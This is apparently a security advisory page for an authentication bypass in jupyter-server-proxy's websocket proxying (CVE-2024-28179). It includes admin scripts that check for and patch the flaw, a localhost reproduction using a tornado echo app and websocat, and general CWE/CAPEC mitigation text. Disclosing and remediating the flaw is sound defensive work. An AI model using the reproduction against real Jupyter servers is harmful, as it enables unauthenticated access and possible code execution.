This does *not* return the `Hi` response, as expected. Instead, you get the HTML response asking for a token.
This is secure as intended.
### Verify websocket requests doesn't authentication
The example makes use of [websocat](https://github.com/vi/websocat) to test websockets. You can use any other tool you are familiar with too.
websocat ws://localhost:8888/proxy/9500/ws
At the terminal, type 'Just testing' and press Enter. You'll get `You said: Just testing` without any authentication required.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "jupyter-server-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "jupyter-server-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28179"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-20T15:22:02Z",
"nvd_published_at": "2024-03-20T20:15:08Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`jupyter-server-proxy` is used to expose ports local to a Jupyter server listening to web traffic to the Jupyter server\u0027s _authenticated users_ by proxying web requests and websockets. Dependent packages ([partial list](https://www.wheelodex.org/projects/jupyter-server-proxy/rdepends/)) also use `jupyter-server-proxy` to expose other popular interactive applications (such as [RStudio](https://github.com/jupyterhub/jupyter-rsession-proxy), [Linux Desktop via VNC](https://github.com/jupyterhub/jupyter-remote-desktop-proxy), [Code Server](https://github.com/betatim/vscode-binder), [Panel](https://github.com/holoviz/jupyter-panel-proxy), etc) along with the Jupyter server. This feature is commonly used in hosted environments (such as a JupyterHub) to expose non-Jupyter interactive frontends or APIs to the user.\n\n`jupyter-server-proxy` did not check user authentication appropriately when proxying websockets, allowing unauthenticated access to anyone who had network access to the Jupyter server endpoint.\n\n## Impact\n\nThis vulnerability can allow unauthenticated remote access to any websocket endpoint set up to be accessible via `jupyter-server-proxy`. In many cases (such as when exposing RStudio via [`jupyter-rsession-proxy`](https://github.com/jupyterhub/jupyter-rsession-proxy) or a remote Linux Desktop / VNC via [`jupyter-remote-desktop-proxy`](https://github.com/jupyterhub/jupyter-remote-desktop-proxy)), this leads to **remote unauthenticated arbitrary code execution**, due to how they use websockets. The websocket endpoints exposed by `jupyter_server` itself is not affected. Projects that do not rely on websockets are also not affected.\n\n## Remediation\n\nUpgrade `jupyter-server-proxy` to a patched version and restart any running Jupyter server.\n\nYou may not be installing `jupyter-server-proxy` directly, but have it be pulled in as a dependency ([partial list of dependent packages](https://www.wheelodex.org/projects/jupyter-server-proxy/rdepends/)) - so you may be vulnerable even if you aren\u0027t directly depending on `jupyter-server-proxy`.\n\n### For JupyterHub admins of [TLJH] installations\n\n\u003cdetails\u003e\u003csummary\u003eExpand to read more\u003c/summary\u003e\n\nTo secure a tljh deployment\u0027s user servers, first check if `jupyter-server-proxy` is installed in the user environment with a vulnerable version. If it is, patch the vulnerability and consider terminating currently running user servers.\n\n[tljh]: https://tljh.jupyter.org\n\n#### 1. Check for vulnerability\n\nAs an JupyterHub admin from a terminal in a started user server, you can do:\n\n```bash\nsudo -E python3 -c \u0027\ntry:\n import jupyter_server_proxy\n is_vulnerable = not hasattr(jupyter_server_proxy, \"__version__\")\nexcept:\n is_vulnerable = False\nif is_vulnerable:\n print(\"WARNING: jupyter-server-proxy __is vulnerable__ to GHSA-w3vc-fx9p-wp4v, see https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.\")\nelse:\n print(\"INFO: not vulnerable to GHSA-w3vc-fx9p-wp4v\")\n\u0027\n```\n\nAlternatively as a root user on the server where tljh is installed, you can do:\n\n```bash\nsudo PATH=/opt/tljh/user/bin:${PATH} python3 -c \u0027\ntry:\n import jupyter_server_proxy\n is_vulnerable = not hasattr(jupyter_server_proxy, \"__version__\")\nexcept:\n is_vulnerable = False\nif is_vulnerable:\n print(\"WARNING: jupyter-server-proxy __is vulnerable__ to GHSA-w3vc-fx9p-wp4v, see https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.\")\nelse:\n print(\"INFO: not vulnerable to GHSA-w3vc-fx9p-wp4v\")\n\u0027\n```\n\n#### 2. Patch detected vulnerability\n\nAs an JupyterHub admin from a terminal in a started user server, you can do:\n\n```bash\nsudo -E pip install \"jupyter-server-proxy\u003e=3.2.3,!=4.0.0,!=4.1.0\"\n```\n\nAlternatively as a root user on the server where tljh is installed, you can do:\n\n```bash\nsudo PATH=/opt/tljh/user/bin:${PATH} pip install \"jupyter-server-proxy\u003e=3.2.3,!=4.0.0,!=4.1.0\"\n```\n\n#### 3. Consider terminating currently running user servers\n\nUser servers that started before the patch was applied are still vulnerable. To ensure they aren\u0027t vulnerable any more you could forcefully terminate their servers via the JupyterHub web interface at `https://\u003cyour domain\u003e/hub/admin`.\n\n\u003c/details\u003e\n\n### For JupyterHub admins of [Z2JH] installations\n\n\u003cdetails\u003e\u003csummary\u003eExpand to read more\u003c/summary\u003e\n\nTo secure your z2jh deployment\u0027s user servers, first consider if one or more user environments is or may be vulnerable, then ensure new user servers\u0027 aren\u0027t started with the vulnerability, and finally consider terminating currently running user servers. The steps below guide you to do so.\n\n[z2jh]: https://z2jh.jupyter.org\n\n#### 1. Check for vulnerabilities\n\nConsider all docker images that user servers\u0027 environment may be based on. If your deployment expose a fixed set of images, you may be able to update them to non-vulnerable versions.\n\nTo check if an individual docker image is vulnerable, use a command like:\n\n```bash\nCHECK_IMAGE=jupyter/base-notebook:2023-10-20\ndocker run --rm $CHECK_IMAGE python3 -c \u0027\ntry:\n import jupyter_server_proxy\n is_vulnerable = not hasattr(jupyter_server_proxy, \"__version__\")\nexcept:\n is_vulnerable = False\nif is_vulnerable:\n print(\"WARNING: jupyter-server-proxy __is vulnerable__ to GHSA-w3vc-fx9p-wp4v, see https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.\")\nelse:\n print(\"INFO: not vulnerable to GHSA-w3vc-fx9p-wp4v\")\n\u0027\n```\n\nNote that if you reference an image with a mutable tag, such as `quay.io/jupyter/pangeo-notebook:master`, you should ensure a new version is used by configuring the image pull policy so that an older vulnerable version isn\u0027t kept being used because it was already available on a Kubernetes node.\n\n```yaml\nsingleuser:\n image:\n name: quay.io/jupyter/pangeo-notebook\n tag: master\n # pullPolicy (a.k.a. imagePullPolicy in k8s specification) should be\n # declared to Always if you make use of mutable tags\n pullPolicy: Always\n```\n\n#### 2. Patch vulnerabilities dynamically\n\nIf your z2jh deployment still may start vulnerable images for users, you could mount a script that checks and patches the vulnerability before the jupyter server starts.\n\nBelow is JupyterHub Helm chart configuration that relies on [`singleuser.extraFiles`] and [`singleuser.cmd`] to mount a script we use as an entrypoint to dynamically check and patch the vulnerability before jupyter server is started.\n\nUnless you change it, the script will attempt to upgrade `jupyter-server-proxy` to a non-vulnerable version if needed, and error if it needs to and fails. You can adjust this behavior by adjusting the constants `UPGRADE_IF_VULNERABLE` and `ERROR_IF_VULNERABLE` inside the script.\n\n[`singleuser.extraFiles`]: https://z2jh.jupyter.org/en/stable/resources/reference.html#singleuser-extrafiles\n[`singleuser.cmd`]: https://z2jh.jupyter.org/en/stable/resources/reference.html#singleuser-cmd\n\n```yaml\nsingleuser:\n cmd:\n - /mnt/ghsa-w3vc-fx9p-wp4v/check-patch-run\n - jupyterhub-singleuser\n extraFiles:\n ghsa-w3vc-fx9p-wp4v-check-patch-run:\n mountPath: /mnt/ghsa-w3vc-fx9p-wp4v/check-patch-run\n mode: 0755\n stringData: |\n #!/usr/bin/env python3\n \"\"\"\n This script is designed to check for and conditionally patch GHSA-w3vc-fx9p-wp4v\n in user servers started by a JupyterHub. The script will execute any command\n passed via arguments if provided, allowing it to wrap a user server startup call\n to `jupyterhub-singleuser` for example.\n\n Use and function of this script can be further discussed in\n https://github.com/jupyterhub/zero-to-jupyterhub-k8s/issues/3360.\n\n Script adjustments:\n - UPGRADE_IF_VULNERABLE\n - ERROR_IF_VULNERABLE\n\n Script patching assumptions:\n - script is run before the jupyter server starts\n - pip is available\n - pip has sufficient filesystem permissions to upgrade jupyter-server-proxy\n\n Read more at https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.\n \"\"\"\n\n import os\n import subprocess\n import sys\n\n # adjust these to meet vulnerability mitigation needs\n UPGRADE_IF_VULNERABLE = True\n ERROR_IF_VULNERABLE = True\n\n\n def check_vuln():\n \"\"\"\n Checks for the vulnerability by looking to see if __version__ is available\n as it coincides with the patched versions (3.2.3 and 4.1.1).\n \"\"\"\n try:\n import jupyter_server_proxy\n\n return False if hasattr(jupyter_server_proxy, \"__version__\") else True\n except:\n return False\n\n\n def get_version_specifier():\n \"\"\"\n Returns a pip version specifier for use with `--no-deps` meant to do as\n little as possible besides patching the vulnerability and remaining\n functional.\n \"\"\"\n old = [\"jupyter-server-proxy\u003e=3.2.3,\u003c4\"]\n new = [\"jupyter-server-proxy\u003e=4.1.1,\u003c5\", \"simpervisor\u003e=1,\u003c2\"]\n\n try:\n if sys.version_info \u003c (3, 8):\n return old\n\n from importlib.metadata import version\n\n jsp_version = version(\"jupyter-server-proxy\")\n if int(jsp_version.split(\".\")[0]) \u003c 4:\n return old\n except:\n pass\n return new\n\n\n def patch_vuln():\n \"\"\"\n Attempts to patch the vulnerability by upgrading jupyter-server-proxy using\n pip. Returns True if the patch is applied successfully, otherwise False.\n \"\"\"\n # attempt upgrade via pip, takes ~4 seconds\n proc = subprocess.run(\n [sys.executable, \"-m\", \"pip\", \"--version\"],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n )\n pip_available = proc.returncode == 0\n if pip_available:\n proc = subprocess.run(\n [sys.executable, \"-m\", \"pip\", \"install\", \"--no-deps\"]\n + get_version_specifier()\n )\n if proc.returncode == 0:\n return True\n return False\n\n\n def main():\n if check_vuln():\n warning_or_error = (\n \"ERROR\" if ERROR_IF_VULNERABLE and not UPGRADE_IF_VULNERABLE else \"WARNING\"\n )\n print(\n f\"{warning_or_error}: jupyter-server-proxy __is vulnerable__ to GHSA-w3vc-fx9p-wp4v, see \"\n \"https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.\",\n flush=True,\n )\n if warning_or_error == \"ERROR\":\n sys.exit(1)\n\n if UPGRADE_IF_VULNERABLE:\n print(\n \"INFO: Attempting to upgrade jupyter-server-proxy using pip...\",\n flush=True,\n )\n if patch_vuln():\n print(\n \"INFO: Attempt to upgrade jupyter-server-proxy succeeded!\",\n flush=True,\n )\n else:\n warning_or_error = \"ERROR\" if ERROR_IF_VULNERABLE else \"WARNING\"\n print(\n f\"{warning_or_error}: Attempt to upgrade jupyter-server-proxy failed!\",\n flush=True,\n )\n if warning_or_error == \"ERROR\":\n sys.exit(1)\n\n if len(sys.argv) \u003e= 2:\n print(\"INFO: Executing provided command\", flush=True)\n os.execvp(sys.argv[1], sys.argv[1:])\n else:\n print(\"INFO: No command to execute provided\", flush=True)\n\n\n main()\n```\n\n#### 3. Consider terminating currently running user servers\n\nUser servers that started before the patch was applied are still vulnerable. To ensure they aren\u0027t vulnerable any more you could forcefully terminate their servers via the JupyterHub web interface at `https://\u003cyour domain\u003e/hub/admin`.\n\n\u003c/details\u003e\n\n## Simple Reproduction\n\n\u003cdetails\u003e\u003csummary\u003eExpand to read more\u003c/summary\u003e\n\n### Setup application to proxy\n\nMake a trivial tornado app that has both websocket and regular HTTP endpoints.\n\n```python\nfrom tornado import websocket, web, ioloop\n\nclass EchoWebSocket(websocket.WebSocketHandler):\n def open(self):\n print(\"WebSocket opened\")\n\n def on_message(self, message):\n self.write_message(u\"You said: \" + message)\n\n def on_close(self):\n print(\"WebSocket closed\")\n\nclass HiHandler(web.RequestHandler):\n def get(self):\n self.write(\"Hi\")\n\napp = web.Application([\n (r\u0027/ws\u0027, EchoWebSocket),\n (r\u0027/hi\u0027, HiHandler)\n])\n\nif __name__ == \u0027__main__\u0027:\n app.listen(9500)\n ioloop.IOLoop.instance().start()\n```\n\n### Setup a clean environment with `jupyter-server-proxy` and start a `jupyter server` instance\n\nWe don\u0027t need jupyterlab or anything else here, just `jupyter-server-proxy` would do.\n\n```bash\npython -m venv clean-env/\nsource clean-env/bin/activate\npip install jupyter-server-proxy\njupyter server\n```\n\n### Verify HTTP requests require authentication\n\n```bash\ncurl -L http://127.0.0.1:8888/proxy/9500/hi\n```\n\nThis does *not* return the `Hi` response, as expected. Instead, you get the HTML response asking for a token.\n\nThis is secure as intended.\n\n### Verify websocket requests doesn\u0027t authentication\n\nThe example makes use of [websocat](https://github.com/vi/websocat) to test websockets. You can use any other tool you are familiar with too.\n\n```bash\nwebsocat ws://localhost:8888/proxy/9500/ws\n```\n\nAt the terminal, type \u0027Just testing\u0027 and press Enter. You\u0027ll get `You said: Just testing` without any authentication required.\n\n\u003c/details\u003e",
"id": "GHSA-w3vc-fx9p-wp4v",
"modified": "2025-02-21T22:32:30Z",
"published": "2024-03-20T15:22:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28179"
},
{
"type": "WEB",
"url": "https://github.com/jupyterhub/jupyter-server-proxy/commit/764e499f61a87641916a7a427d4c4b1ac3f321a9"
},
{
"type": "WEB",
"url": "https://github.com/jupyterhub/jupyter-server-proxy/commit/bead903b7c0354b6efd8b4cde94b89afab653e03"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyterhub/jupyter-server-proxy"
},
{
"type": "WEB",
"url": "https://github.com/jupyterhub/jupyter-server-proxy/blob/9b624c4d9507176334b46a85d94a4aa3bcd29bed/jupyter_server_proxy/handlers.py#L433"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server-proxy/PYSEC-2024-234.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jupyter Server Proxy\u0027s Websocket Proxying does not require authentication"
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.